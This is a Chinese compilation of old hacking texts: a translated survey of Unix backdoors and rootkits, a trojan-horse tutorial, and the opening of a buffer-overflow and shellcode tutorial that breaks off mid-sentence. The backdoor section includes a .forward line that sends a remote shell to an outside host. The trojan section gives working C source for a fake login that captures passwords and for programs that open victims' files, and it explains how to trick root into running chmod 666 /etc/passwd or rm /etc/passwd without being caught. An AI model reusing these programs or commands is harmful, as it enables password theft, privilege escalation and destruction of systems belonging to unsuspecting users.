摘要:本文將描述如何測定入侵者使用的方法這樣的復雜內容和管理員如何防止入侵者重返的基礎知識. 後門 聲明:此文為翻譯文章,QiangGe只做了一些修改,並加入了一些自己的心得及自己所寫的程序. 譯者 iamtheguest 從早期的計算機入侵者開始,他們就努力發展能使自己重返被入侵系統的技術或後門.本文將討論許多常見的後門及其檢測方法. 更多的焦點放在Unix系統的後門,同時討論一些未來將會出現的Windows NT的後門. 本文將描述如何測定入侵者使用的方法這樣的復雜內容和管理員如何防止入侵者重返的基礎知識. 當管理員懂的一旦入侵者入侵後要制止他們是何等之難以後, 將更主動於預防第一次入侵. 本文試圖涉及大量流行的初級和高級入侵者制作後門的手法, 但不會也不可能覆蓋到所有可能的方法. 大多數入侵者的後門實現以下二到三個目的: 即使管理員通過改變所有密碼類似的方法來提高安全性,仍然能再次侵入. 使再次侵入被發現的可能性減至最低.大多數後門設法躲過日志, 大多數情況下即使入侵者正在使用系統也無法顯示他已在線. 一些情況下, 如果入侵者認為管理員可能會檢測到已經安裝的後門, 他們以系統的 脆弱性作為唯一的後門, 重而反復攻破機器. 這也不會引起管理員的注意. 所以在 這樣的情況下,一台機器的脆弱性是它唯一未被注意的後門. 密碼破解後門 這是入侵者使用的最早也是最老的方法, 它不僅可以獲得對Unix機器的訪問, 而且可以通過破解密碼制造後門. 這就是破解口令薄弱的帳號. 以後即使管理員封了入侵者的當前帳號,這些新的帳號仍然可能是重新侵入的後門. 多數情況下, 入侵者尋找口令薄弱的未使用帳號,然後將口令改的難些. 當管理員尋找口令薄弱的帳號是, 也不會發現這些密碼已修改的帳號.因而管理員很難確定查封哪個帳號. Rhosts + + 後門 在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件裡的主機名使用簡單的認證方法. 用戶可以輕易的改變設置而不需口令就能進入. 入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進入這個帳號. 特別當home目錄通過NFS向外共享時, 入侵者更熱中於此. 這些帳號也成了入侵者再次侵入的後門. 許多人更喜歡使用Rsh, 因為它通常缺少日志能力. 許多管理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現. 校驗和及時間戳後門 早期,許多入侵者用自己的trojan程序替代二進制文件. 系統管理員便依靠時間戳和系統校驗和的程序辨別一個二進制文件是否已被改變, 如Unix裡的sum程序. 入侵者又發展了使trojan文件和原文件時間戳同步的新技術. 它是這樣實現的: 先將系統時鐘撥回到原文件時間, 然後調整trojan文件的時間為系統時間. 一旦二進制trojan文件與原來的精確同步, 就可以把系統時間設回當前時間. sum程序是基於CRC校驗, 很容易騙過.入侵者設計出了可以將trojan的校驗和調整到原文件的校驗和的程序. MD5是被大多數人推薦的,MD5使用的算法目前還沒人能騙過. Login後門 在Unix裡,login程序通常用來對telnet來的用戶進行口令驗證. 入侵者獲取login.c的原代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令. 如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入. 這將允許入侵者進入任何帳號,甚至是root.由於後門口令是在用戶真實登錄並被日志記錄到utmp和wtmp前產生一個訪問的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號. 管理員注意到這種後門後, 便用"strings"命令搜索login程序以尋找文本信息. 許多情況下後門口令會原形畢露. 入侵者就開始加密或者更好的隱藏口令, 使strings命令失效. 所以更多的管理員是用MD5校驗和檢測這種後門的. Telnetd後門 當用戶telnet到系統, 監聽端口的inetd服務接受連接隨後遞給in.telnetd,由它運行login.一些入侵者知道管理員會檢查login是否被修改, 就著手修改in.telnetd. 在in.telnetd內部有一些對用戶信息的檢驗, 比如用戶使用了何種終端. 典型的終端設置是Xterm或者VT100.入侵者可以做這樣的後門, 當終端設置為"letmein"時產生一個不要任何驗證的shell. 入侵者已對某些服務作了後門, 對來自特定源端口的連接產生一個shell . 服務後門 幾乎所有網絡服務曾被入侵者作過後門. finger, rsh, rexec, rlogin, FTP, 甚至inetd等等的作了的版本隨處多是. 有的只是連接到某個TCP端口的shell,通過後門口令就能獲取訪問.這些程序有時用刺娲□?UCp這樣不用的服務,或者被加入inetd.conf作為一個新的服務.管理員應該非常注意那些服務正在運行, 並用MD5對原服務程序做校驗. Cronjob後門 Unix上的Cronjob可以按時間表調度特定程序的運行. 入侵者可以加入後門shell程序使它在1AM到2AM之間運行,那麼每晚有一個小時可以獲得訪問. 也可以查看cronjob中經常運行的合法程序,同時置入後門. 庫後門 幾乎所有的UNIX系統使用共享庫. 共享庫用於相同函數的重用而減少代碼長度. 一些入侵者在象crypt.c和_crypt.c這些函數裡作了後門. 象login.c這樣的程序調用了crypt(),當使用後門口令時產生一個shell. 因此, 即使管理員用MD5檢查login程序,仍然能產生一個後門函數.而且許多管理員並不會檢查庫是否被做了後門.對於許多入侵者來說有一個問題: 一些管理員對所有東西多作了MD5校驗. 有一種 辦法是入侵者對open()和文件訪問函數做後門. 後門函數讀原文件但執行trojan後門程序. 所以 當MD5讀這些文件時,校驗和一切正常. 但當系統運行時將執行trojan版本的. 即使trojan庫本身也可躲過 MD5校驗. 對於管理員來說有一種方法可以找到後門, 就是靜態編連MD5校驗程序然後運行. 靜態連接程序不會使用trojan共享庫. 內核後門 內核是Unix工作的核心. 用於庫躲過MD5校驗的方法同樣適用於內核級別,甚至連靜態連接多不能識別. 一個後門作的很好的內核是最難被管理員查找的, 所幸的是內核的後門程序還不是隨手可得, 每人知道它事實上傳播有多廣. 文件系統後門 入侵者需要在服務器上存儲他們的掠奪品或數據,並不能被管理員發現. 入侵者的文章常是包括eXPloit腳本工具,後門集,sniffer日志,email的備分,原代碼,等等. 有時為了防止管理員發現這麼大的文件, 入侵者需要修補"ls","du","fsck"以隱匿特定的目錄和文件.在很低的級別, 入侵者做這樣的漏洞: 以專有的格式在硬盤上割出一部分, 且表示為壞的扇區. 因此入侵者只能用特別的工具訪問這些隱藏的文件. 對於普通的管理員來說, 很難發現這些"壞扇區"裡的文件系統, 而它又確實存在. Boot塊後門 在PC世界裡,許多病毒藏匿與根區, 而殺病毒軟件就是檢查根區是否被改變. Unix下,多數管理員沒有檢查根區的軟件, 所以一些入侵者將一些後門留在根區. 隱匿進程後門 入侵者通常想隱匿他們運行的程序. 這樣的程序一般是口令破解程序和監聽程序(sniffer).有許多辦法可以實現,這裡是較通用的: 編寫程序時修改自己的argv[]使它看起來象其他進程名. 可以將sniffer程序改名類似in.syslog再執行. 因此當管理員用"ps"檢查運行進程時, 出現 的是標准服務名. 可以修改庫函數致使"ps"不能顯示所有進程. 可以將一個後門或程序嵌入中斷驅動程序使它不會在進程表顯現. 使用這個技術的一個後門 例子是amod.tar.gz : http://star.niimm.spb.su/~maillist/bugtraq.1/0777.Html 也可以修改內核隱匿進程. Rootkit 最流行的後門安裝包之一是rootkit. 它很容易用web搜索器找到.從Rootkit的README裡,可以找到一些典型的文件: z2 - removes entries from utmp, wtmp, and lastlog. Es - rokstar's ethernet sniffer for sun4 based kernels. Fix - try to fake checksums, install with same dates/perms/u/g. Sl - become root via a magic passWord sent to login. Ic - modified ifconfig to remove PROMISC flag from output. ps: - hides the processes. Ns - modified netstat to hide connections to certain machines. Ls - hides certain Directories and files from being listed. du5 - hides how much space is being used on your hard drive. ls5 - hides certain files and directories from being listed. 網絡通行後門 入侵者不僅想隱匿在系統裡的痕跡, 而且也要隱匿他們的網絡通行. 這些網絡通行後門有時允許入侵者通過防火牆進行訪問. 有許多網絡後門程序允許入侵者建立某個端口號並不用通過普通服務就能實現訪問. 因為這是通過非標准網絡端口的通行, 管理員可能忽視入侵者的足跡. 這種後門通常使用TCP,UDP和ICMP, 但也可能是其他類型報文. TCP Shell 後門 入侵者可能在防火牆沒有阻塞的高位TCP端口建立這些TCP Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問. 管理員可以用netstat命令查看當前的連接狀態, 那些端口在偵聽, 目前連接的來龍去脈. 通常這些後門可以讓入侵者躲過TCP Wrapper技術. 這些後門可以放在SMTP端口, 許多防火牆允許e-mail通行的. UDP Shell 後門 管理員經常注意TCP連接並觀察其怪異情況, 而UDP Shell後門沒有這樣的連接, 所以netstat不能顯示入侵者的訪問痕跡. 許多防火牆設置成允許類似DNS的UDP報文的通行. 通常入侵者將UDP Shell放置在這個端口, 允許穿越防火牆. ICMP Shell 後門 Ping是通過發送和接受ICMP包檢測機器活動狀態的通用辦法之一. 許多防火牆允許外界ping它內部的機器. 入侵者可以放數據入Ping的ICMP包, 在ping的機器間形成一個shell通道. 管理員也許會注意到Ping包暴風, 但除了他查看包內數據, 否者入侵者不會暴露. 加密連接 管理員可能建立一個sniffer試圖某個訪問的數據, 但當入侵者給網絡通行後門加密後,就不可能被判定兩台機器間的傳輸內容了. Windows NT 由於Windows NT不能輕易的允許多個用戶象Unix下訪問一台機器, 對入侵者來說就很難闖入Windows NT,安裝後門,並從那裡發起攻擊. 因此你將更頻繁地看到廣泛的來自Unix的網絡攻擊. 當Windows NT提高多用戶技術後, 入侵者將更頻繁地利用WindowsNT.如果這一天真的到來, 許多Unix的後門技術將移植到Windows NT上, 管理員可以等候入侵者的到來. 今天, Windows NT已經有了telnet守護程序. 通過網絡通行後門, 入侵者發現在Windows NT安裝它們是可行的. ( With Network Traffic backdoors, theyarevery feasible for intruders to install on Windows NT. 此處該如何翻譯? :( 解決 當後門技術越先進, 管理員越難於判斷入侵者是否侵入後者他們是否被成功封殺. 評估 首先要做的是積極准確的估計你的網絡的脆弱性, 從而判定漏洞的存在且修復之.許多商業工具用來幫助掃描和查核網絡及系統的漏洞. 如果僅僅安裝提供商的安全補丁的話,許多公司將大大提高安全性. MD5基准線 一個系統(安全)掃描的一個重要因素是MD5校驗和基准線. MD5基准線是在黑客入侵前由干淨 系統建立. 一旦黑客入侵並建立了後門再建立基准線, 那麼後門也被合並進去了.一些公司被入侵且系統被安置後門長達幾個月.所有的系統備份多包含了後門. 當公司發現有黑客並求助備份祛除後門時, 一切努力是徒勞的, 因為他們恢復系統的同時也恢復了後門. 應該在入侵發生前作好基准線的建立. 入侵檢測 隨著各種組織的上網和允許對自己某些機器的連接,入侵檢測正變的越來越重要.以前多數入侵檢測技術是基於日志型的. 最新的入侵檢測系統技術(IDS)是基於實時偵聽和網絡通行安全分析的. 最新的IDS技術可以浏覽DNS的UDP報文, 並判斷是否符合DNS協議請求. 如果數據不符合協議, 就發出警告信號並抓取數據進行進一步分析. 同樣的原則可以運用到ICMP包, 檢查數據是否符合協議要求, 或者是否裝載加密shell會話. 從CD-ROM啟動 一些管理員考慮從CD-ROM啟動從而消除了入侵者在CD-ROM上做後門的可能性.這種方法的問題是實現的費用和時間夠企業面臨的. 警告 由於安全領域變化之快, 每天有新的漏洞被公布, 而入侵者正不斷設計新的攻擊和安置後門技術, 安枕無憂的安全技術是沒有的.請記住沒有簡單的防御,只有不懈的努力! ( Be aware that no defense is foolproof, and that there is no substitute for diligent attention. 此句該如何翻譯? :( ) you may want to add: .forward Backdoor On Unix machines, placing commands into the .forward file was also a common method of regaining Access. For the account ``username'' a .forward file might be constructed as follows: username "/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing). PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server). > Using smrsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves...). 你也許要增加: .forward後門 Unix下在.forward文件裡放入命令是重新獲得訪問的常用方法. 帳戶'username'的.forward可能設置如下: username "/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" 這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後). >利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail>類程序, 很有可能還有問題 ......) ( 此段的內容理解不深, 故付上英文, 請指教! ) 你也許能用這個"特性"做後門: 當在/etc/password裡指定一個錯誤的uid/gid後, 大多數login(1)的實現是不能檢查出這個錯誤的uid/gid, 而atoi(3)將設uid/gid為0, 便給了超級用戶的權利. 例子: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh 在Linux裡,這將把用戶rmartin的uid設為0. Hack技巧-使用Trogan Horses UNIX 的特洛伊木馬 Martin 翻譯 序言 "UNIX 安全" 是一種矛盾修飾法.它是一種能被暴力攻擊法輕易攻破的系統.(大多數UNIX系統不會因為多次錯誤的登錄而掛起,而且它還有許多缺省的登錄名如root,bin,sys,uccp等.)一旦你登錄到系統,你就能輕易降服它,如果你會一點C語言,你就能 讓系統為你工作,並能完全避開系統的安全障礙建立你自己的登錄,閱讀任何人的文檔,等. 本文將提供一些這方面的C的源碼以供大家實踐. 配置要求 你需要一個UNIX系統的有效帳號.為獲得最好效果,最好使用工作在真正機子(一台PDP/11,VAX,Pyramid,等)上的完全的UNIX版本(如 4.2bsd or AT&T System V).如果你能在學校的系統中獲得一個帳號那是再好不過了. 注意 本文受到86年4月的 issue of BYTE 中的一篇名叫"Making UNIX Secure."文章的啟發而寫的.在那篇文章中作者稱"我們希望所提供的資料是有趣的但又不會成為'破壞者的菜譜'.我們常有意刪除一些細節" 我根據此文的總體綱要,給出了基於他們所提到的方法的例子. 步驟一:獲得口令 你所需要的技巧僅僅是一些最基本的UNIX及C語言的常識.不過,你得有能使用的終端如學校裡計算中心裡的. 當你向一個典型的UNIX系統登錄時,你能看到如下這些: Tiburon Systems 4.2bsd / System V (shark) login: shark Password: (並不顯示) 我提供的程序能模擬一個登錄過程.你在終端上運行這程序,然後離開.那些不知情的家伙如果來登錄,他們的登錄信息就會被保存成文檔,並且屏幕上會顯示"login incorrect" 那些家伙會被要求再登錄一次.第二次是真正的登錄,這時候他們都成功了.顯然那些家伙並不聰明. 在系統上將下列源碼生成文件'horse.c'. 因為系統有不同的版本,你可能需要修改前8行. ----- Code Begins Here ----- /* this is what a 'C' comment looks like. You can leave them out. */ /* #define's are like macros you can use for configuration. */ #define SYSTEM " Tiburon Systems 4.2bsd UNIX (shark) " /* The above string should be made to look like the message that your * system prints when ready. Each represents a carriage return. */ #define LOGIN "login: " /* The above is the login prompt. You shouldn't have to change it * unless you're running some strange version of UNIX. */ #define PASSWORD "password:" /* The above is the password prompt. You shouldn't have to change * it, either. */ #define WAIT 2 /* The numerical value assigned to WAIT is the delay you get after * "password:" and before "login incorrect." Change it (0 = almost * no delay, 5 = LONG delay) so it looks like your system's delay. * realism is the key here - we don't want our target to become * suspicious. */ #define INCORRECT "Login incorrect. " /* Change the above so it is what your system says when an incorrect * login is given.You shouldn't have to change it. */ #define FILENAME "stuff" /* FILENAME is the name of the file that the hacked passwords will * be put into automatically. 'stuff' is a perfectly good name. */ /* Don't change the rest of the program unless there is a need to * and you know 'C'. */ #include #include int stop(); main() {char name[10], password[10]; int i; FILE *fp, *fopen(); signal(SIGINT,stop); initscr(); printf(SYSTEM); printf(LOGIN); scanf("%[^ ]",name); getchar(); noecho(); printf(PASSWORD); scanf("%[^ ]",password); printf(" "); getchar(); echo(); sleep(WAIT); if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { #fprintf(fp,"login %s has password %s ",name,password); #fclose(fp); #} printf(INCORRECT); endwin(); } stop() { endwin(); exit(0); } ----- Source Ends Here ----- 好了,完成上述工作並調試,使得它看上去就象你的系統的登錄過程.用下列兩行來 編譯'horse.c': (不要打' %'s, 那是一種提示符) % cc horse.c -lcurses -ltermcap % mv a.out horse 現在你有了這個能工作的horse程序. 運行一下,如果它看上去不象系統的登錄過程,你得 重新編輯horse.c並重新編譯.當你准備好運行該程序時,你應先建立一個新文件如'trap'或其它名字. 'trap' 應包含下列兩行命令: horse (這條運行你的程序) login (這條運行真正的登錄程序) 執行 'trap' 輸入: % source trap (不要打 %) 然後你就可以離開終端,等待... 等你運行這程序幾次後,檢查一下文檔'stuff'(或其他你所指定的文檔).它看上去是這樣: user john has password secret user mary has password smegmaetc. 記錄口令,並刪除該文檔(如果系統管理員看到,那就大事不妙). 注意 - 為取得最好效果,終端應設置成無用戶暫停模式--這樣一來你的horse程序才不會空轉在連續幾小時無人使用的終端上. 下一個步驟是如何運作在遠程系統上,如你以侵入的Michigan的VAX,或Dartmouth的UNIX系統或其他的系統. 不過這需要一些'C'語言的知識.那些並不適合UNIX的初學者. 步驟二:閱讀任何人的文檔 當你運行程序,這其實是一個建立運作並讓那程序干它所能干的事,如刪除你指定目錄下的文檔或建立一個有效的能讓任何人閱讀的文檔. 當人們在UNIX系統上保存以閱讀的郵件,郵件以文檔的形式被保存在他們的主目錄下的 mbox 這些文檔通常閱讀起來很有意思,但通常只是文檔的所有者能閱讀並非所有人都有這權利.這裡有一個小程序能解開(也就是說 chmod 777, 或讓系統上的任何人都能讀,寫,執行)那個運行此程序的人的 mbox 中的文檔: ----- Code Begins Here ----- #include
struct passwd *getpwnam(name); struct passwd *p; char buf[255]; main() { p = getpwnam(getlogin()); sprintf(buf,"%s/%s",p->pw_dir,"mbox"); if ( access(buf,0) > -1 ) { sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); system(buf); } } ----- Code Ends Here ----- 問題在於如何讓我的目標運行在我的目錄下的這個程序? 如果你所在的系統有public-messages (在4.xbsd的系統上, 輸入'msgs')你就能在那兒發表你的程序.將上述代碼寫入另一個程序中,找一個有用的或一個游戲程序(通常能在 UNIX WORLD 一類雜志中找到),修該它們,使它們能先完成上述任務然後再完成本來任務.如果你有一個叫tic-tac-toe的程序並且你已經修改了它,讓它來解開用戶的mbox中的文檔在讓他們運行tic-tac-toe之前,你得宣揚 "我有一個新的tic-tac-toe程序,你們都該試試.它就在我的目錄下."或者別的什麼的.如果你不想通過公共通告告訴所有人,那麼就通過郵件發給那些你想捕捉的人. 如果你不能找到一個真正的程序來修改,就用上面的程序並在兩個'}'之間加這麼一行,在程序的末尾加上: printf("Error opening tic-tac-toe data file. Sorry! "); 當該程序運行時,它就會顯示上面那條錯誤的信息. 用戶會想"嘿,那家伙連一個 簡單的 tic-tac-toe 程序都不會寫."其實真正被捉弄的人是他自己,你現在能閱讀他的郵件了. 如果在用戶的目錄下有一個指定的文件想看 (比如叫 "secret"),你只要把下面的程序一起發給用戶: main() { if ( access("secret",0) > -1 ) system("chmod 777 secret"); } 然後表現得象 Joe Loser並告訴他: "我寫了一個叫'超級星球大戰'的程序,你想 試試嗎?" 你應該充分發揮你的想象力.想出一些指令讓那些人執行,並把它們以C語言程序的形式放在系統中.然後引誘那些人來運行你的程序. 這兒有個非常巧妙地利用上述技巧的方法: 步驟三:成為超級用戶 寫一個程序讓別人運行.在程序中加入這行: if ( !strcmp(getlogin(),"root") ) system("whatever you want"); 這是為檢查root是否在運行你的程序. 如果是,你就能讓他執行任何你想執行的shell命令 你能讓他執行下列命令: "chmod 666 /etc/passwd" /etc/passwd 是系統的口令存放文檔. 只有root 擁有這個文檔.通常所有的用戶都能讀它(口令已被編碼), 但是只有 root 能改寫它.如果你以前沒有看過,你得好好看看它的格式. 這條命令能讓你往該文檔中寫東西. 也就是說為你和你的朋友建立不受限制的帳戶. "chmod 666 /etc/group" 通過把你加入到高權限的組中, 你能留很多後門. "chmod 666 /usr/lib/uucp/L.sys" 如果在uucp網上,找一下系統中的著個文檔. 它包含有連到網上其他系統的撥號聯接及口令, 通常只有uucp管理員能讀. 找到誰擁有這個文檔,然後讓他不知不覺地運行那個能讓你解開該文檔的程序. "rm /etc/passwd" 如果你能取得 root 的權限,運行著條命令, 系統的passwd 文檔就會被移走,系統會被停下而且在短期內不能恢復.這樣做回造成巨大的損失. 如果你准備將特洛伊木馬程序添加到你的系統中,你應遵守幾條規則.如果是為了不可告人的目的(如解開用戶的mbox或刪除他的所有文件或其他什麼的) 這個程序不可能是一個能讓別人運行多次的程序,因為一旦人們發現他們的文件都已公開,問題的根源就很容易被發現.如果是以一個'測試'程序為目的(如你正在寫的一個游戲程序),你能通過郵件要求不同的人來運行或和他們討論.正如我所說,這個'測試'程序當完成任務時能顯示假的錯誤信息,你就可以告訴那人"唔,我想它應改進", 等到他們離開,你就能讀任何你解開的文檔了.如果你的特洛伊木馬程序只是為用來找到特殊的用戶,如root或其他的擁有很高權限的用戶,你可以將代碼加入到系統中那些用戶使用頻率比較高的程序中. 你的修改會潛伏著直到他運行那程序. 如果你不能找到能讓你'星際旅行'的源程序或其他的C語言程序,你只要學了C語言並從pascal中變換過一些來. 學習C語言並沒有什麼損失,因為它是一種非常了不起的語言.我們已經看到它能在UNIX系統上所能干的.一旦你抓到 root (也就是說你已經可以修改 /etc/passwd 文檔) 從你的特洛伊木馬程序中刪除偽造用的代碼,這樣一來你就永遠不會被抓了. 返回黑客天書 Buffer Overflow 機理剖析 使用Buffer Overflow 方法來入侵目的主機是黑客們經常采用的一種手段,本文將幾篇介紹其機理的文章作了一些加工整理, 對它的機理作出了由淺入深的剖析. 本文分為下面幾個部分, 朋友們可以按照自己的興趣選擇不同的章節: 關於堆棧的基礎知識 Buffer Overflow 的原理 Shell Code 的編寫 實際運用中遇到的問題 附錄 1. 關於堆棧的基礎知識 一個應用程序在運行時,它在內存中的映像可以分為三個部分: 代碼段 , 數據段和堆棧段(參見下圖). 代碼段對應與運行文件中的 Text Section ,其中包括運行代碼和只讀數據, 這個段在內存中一般被標記為只讀 , 任何企圖修改這個段中數據的指令將引發一個 Segmentation Violation 錯誤. 數據段對應與運行文件中的 Data Section 和 BSS Section ,其中存放的是各種數據(經過初始化的和未經初始化的)和靜態變量. 下面我們將詳細介紹一下堆棧段. |--------| 虛存低端 | | | 代碼段 | | | |--------| | | | 數據段 | | | |--------| | | | 堆棧段 | | | |--------| 虛存高端 堆棧是什麼? 如果你學過<<數據結構>>這門課的話, 就會知道堆棧是一種計算機中經常用到的抽象數據類型. 作用於堆棧上的操作主要有兩個: Push 和 Pop , 既壓入和彈出. 堆棧的特點是LIFO(Last in , First out), 既最後壓入堆棧的對象最先被彈出堆棧. 堆棧段的作用是什麼? 現在大部分程序員都是在用高級語言進行模塊化編程, 在這些應用程序中,不可避免地會出現各種函數調用, 比如調用C 運行庫,Win32 API 等等. 這些調用大部分都被編譯器編譯為Call語句. 當CPU 在執行這條指令時, 除了將IP變為調用函數的入口點以外, 還要將調用後的返回地址放入堆棧. 這些函數調用往往還帶有不同數量的入口參數和局部變量, 在這種情況下,編譯器往往會生成一些指令將這些數據也存入堆棧(有些也可通過寄存器傳遞). 我們將一個函數調用在堆棧中存放的這些數據和返回地址稱為一個棧幀(Stack Frame). 棧幀的結構: 下面我們通過一個簡單的例子來分析一下棧幀的結構. void proc(int i) { int local; local=i; } void main() { proc(1); } 這段代碼經過編譯器後編譯為:(以PC為例) main:push 1 call proc ... proc:push ebp mov ebp,esp sub esp,4 mov eax,[ebp+08] mov [ebp-4],eax add esp,4 pop ebp ret 4 下面我們分析一下這段代碼. main:push 1 call proc 首先, 將調用要用到的參數1壓入堆棧,然後call proc proc:push ebp mov ebp,esp 我們知道esp指向堆棧的頂端,在函數調用時,各個參數和局部變量在堆棧中的位置只和esp有關系,如可通過[esp+4]存取參數1. 但隨著程序的運行,堆棧中放入了新的數據,esp也隨之變化,這時就不能在通過[esp+4]來存取1了. 因此, 為了便於參數和變量的存取, 編譯器又引入了一個基址寄存器ebp, 首先將ebp的原值存入堆棧,然後將esp的值賦給ebp,這樣以後就可以一直使用[ebp+8]來存取參數1了. sub esp,4 將esp減4,留出一個int的位置給局部變量 local 使用, local可通過[ebp-4]來存取 mov eax,[ebp+08] mov [ebp-4],eax 就是 local=i; add esp,4 pop ebp ret 4 首先esp加4,收回局部變量的空間,然後pop ebp, 恢復ebp原值,最後 ret 4,從堆棧中取得返回地址,將EIP改為這個地址,並且將esp加4,收回參數所占的空間. 不難看出,這個程序在執行proc過程時,棧幀的結構如下: 4 4 4 4 [local] [ebp] [ret地址] [參數1] 內存高端 esp(棧頂)ebp 因此,我們可以總結出一般棧幀的結構: ..[local1][local2]..[localn][ebp][ret地址][參數1][參數2]..[參數n] esp(棧頂) ebp 了解了棧幀的結構以後,現在我們可以來看一下 Buffer overflow 的機理了. 2. Buffer Overflow 的機理 我們先舉一個例子說明一下什麼是 Buffer Overflow : void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } 這段程序中就存在 Buffer Overflow 的問題. 我們可以看到, 傳遞給function的字符串長度要比buffer大很多,而function沒有經過任何長度校驗直接用strcpy將長字符串拷入buffer. 如果你執行這個程序的話,系統會報告一個 Segmentation Violation 錯誤.下面我們就來分析一下為什麼會這樣? 首先我們看一下未執行strcpy時堆棧中的情況: 16 4 4 4 ...[buffer] [ebp] [ret地址] [large_string地址] esp ebp 當執行strcpy時, 程序將256 Bytes拷入buffer中,但是buffer只能容納16 Bytes,那麼這時會發生什麼情況呢? 因為C語言並不進行邊界檢查, 所以結果是buffer後面的250字節的內容也被覆蓋掉了,這其中自然也包括ebp, ret地址 ,large_string地址.因為此時ret地址變成了0x41414141h ,所以當過程結束返回時,它將返回到0x41414141h地址處繼續執行,但由於這個地址並不在程序實際使用的虛存空間范圍內,所以系統會報Segmentation Violation. 從上面的例子中不難看出,我們可以通過Buffer Overflow來改變在堆棧中存放的過程返回地址,從而改變整個程序的流程,使它轉向任何我們想要它去的地方.這就為黑客們提供了可乘之機, 最常見的方法是: 在長字符串中嵌入一段代碼,並將過程的返回地址覆蓋為這段代碼的地址, 這樣當過程返回時,程序就轉而開始執行這段我們自編的代碼了. 一般來說,這段代碼都是執行一個Shell程序(如insh),因為這樣的話,當我們入侵一個帶有Buffer Overflow缺陷且具有suid-root屬性的程序時,我們會獲得一個具有root權限的shell,在這個shell中我們可以干任何事. 因此, 這段代碼一般被稱為Shell Code. 下面我們就來看一下如何編寫Shell Code. 3. Shell Code 的編寫 下面是一個創建Shell的C程序shellcode.c: (本文以IntelX86上的Linux為例說明) void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } 我們先將它編譯為執行代碼,然後再用gdb來分析一下.(注意編譯時要用-static選項,否則execve的代碼將不會放入執行代碼,而是作為動態鏈接在運行時才鏈入.) [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. 下面我們來首先來分析一下main代碼中每條語句的作用: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 這跟前面的例子一樣,也是一段函數的入口處理,保存以前的棧幀指針,更新棧幀指針,最後為局部變量留出空間.在這裡,局部變量為: char *name[2]; 也就是兩個字符指針.每個字符指針占用4個字節,所以總共留出了 8 個字節的位置. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 這裡, 將字符串"/bin/sh"的地址放入name[0]的內存單元中, 也就是相當於 : name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) 將NULL放入name[1]的內存單元中, 也就是相當於: name[1] = NULL; 對execve()的調用從下面開始: 0x8000144 : pushl $0x0 開始將參數以逆序壓入堆棧, 第一個是NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 將name[]的起始地址壓入堆棧 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 將字符串"/bin/sh"的地址壓入堆棧 0x800014e : call 0x80002bc <__execve> 調用execve() . call 指令首先將 EIP 壓入堆棧 現在我們再來看一下execve()的代碼. 首先要注意的是, 